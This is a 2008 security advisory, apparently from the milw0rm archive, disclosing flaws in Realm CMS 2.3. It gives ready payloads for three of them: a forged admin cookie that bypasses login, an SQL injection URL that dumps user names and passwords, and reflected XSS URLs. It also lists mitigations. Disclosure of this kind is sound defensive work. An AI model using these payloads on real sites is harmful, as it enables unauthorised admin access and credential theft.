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3.4 KiB
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75 lines
No EOL
3.4 KiB
Text
########################## www.BugReport.ir #######################################
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#
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# AmnPardaz Security Research Team
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#
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# Title: Realm CMS Multiple Vulnerabilities Lead to Admin Access.
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# Vendor: www.realmproject.com
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# Vulnerable Version: 2.3 and prior versions
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# Exploit: Available
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# Impact: High
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# Fix: N/A
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# Original Advisory: http://bugreport.ir/index.php?/40
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###################################################################################
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####################
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1. Description:
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####################
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Realm CMS is an unique FREE classic ASP application integrating
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together Content Management and Blogging web publishing. Realm CMS is
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especially designed and tuned to be fast and smart handling web sites
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including thousands of web pages. Realm CMS is fundamentally based on
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the technology of caching - simultaneously using server's RAM and disk.
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This means that Realm CMS web site is easily managed as are database
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driven web sites and the same time it is as fast, robust as web sites
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based on pure HTML. This feature makes Realm CMS MS Access database
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driven web site fast and robust as are enterprise level database driven
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sites.
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####################
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2. Vulnerabilities:
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####################
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2.1. Broken Authentication and Session Management. Attacker can enter to the admin pages by a manipulated cookie.
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2.1.1. Exploit:
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Check the exploit section.
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2.2. Injection Flaws. SQL Injection in "inc_routines.asp" in "KeyWordsList" function on "kwrd" parameter.
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2.2.1. Exploit:
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Check the exploit section.
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2.3. Cross Site Scripting (XSS), Information Leakage. Reflected XSS attack, and DB path disclosure in "/cms/_db/compact.asp"
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2.3.1. Exploit:
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Check the exploit section.
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####################
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3. Exploits:
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####################
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Original Exploit URL: http://bugreport.ir/index.php?/40/exploit
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3.1. Attacker can enter to the admin pages by a manipulated cookie.
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-------------
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-Set these cookies:
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RealmCmsUser=cUserfiles=userFiles&cIntallType=BugReportTeam&cDbLocat=in&cSiteName=www.Bugreport.IR&cFolder=%2Fcms&cUniqueID=db&cUserRole=1&cUserName=Admin&cUserID=20
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-Then go to:
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/_RealmAdmin/login.asp
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-------------
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3.2. SQL Injection in "inc_routines.asp" in "KeyWordsList" function on "kwrd" parameter.
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-------------
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http://[URL]/cmsr/?job=kwl&kwrd=WWW.BugReport.IR' union select name,password from tblusers where name not like '%WWW.BugReport.IR
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-------------
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3.3. Reflected XSS attack, and DB path disclosure in "/cms/_db/compact.asp"
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-------------
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http://[URL]/cms/_db/compact.asp?CmpctedDB=%3Cscript%3Ealert('XSSed by BugReport.IR')%3C/script%3E (Reflected XSS attack)
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http://[URL]/cms/_db/compact.asp?CmpctedDB=1&Boyut=%3Cscript%3Ealert('XSSed by BugReport.IR')%3C/script%3E (Reflected XSS attack)
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http://[URL]/cms/_db/compact.asp (DB path disclosure)
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-------------
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####################
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4. Solution:
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####################
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Rename admin directory "/_RealmAdmin" and wait for vendor patch (for 2.1).
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Edit the source code to ensure that inputs are properly sanitized (for 2.2).
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Remove or rename all the "/_db/compact.asp" files, in the cms (for 2.3).
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####################
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5. Credit:
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####################
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AmnPardaz Security Research & Penetration Testing Group
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Contact: admin[4t}bugreport{d0t]ir
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WwW.BugReport.ir
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WwW.AmnPardaz.com
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# milw0rm.com [2008-06-09] |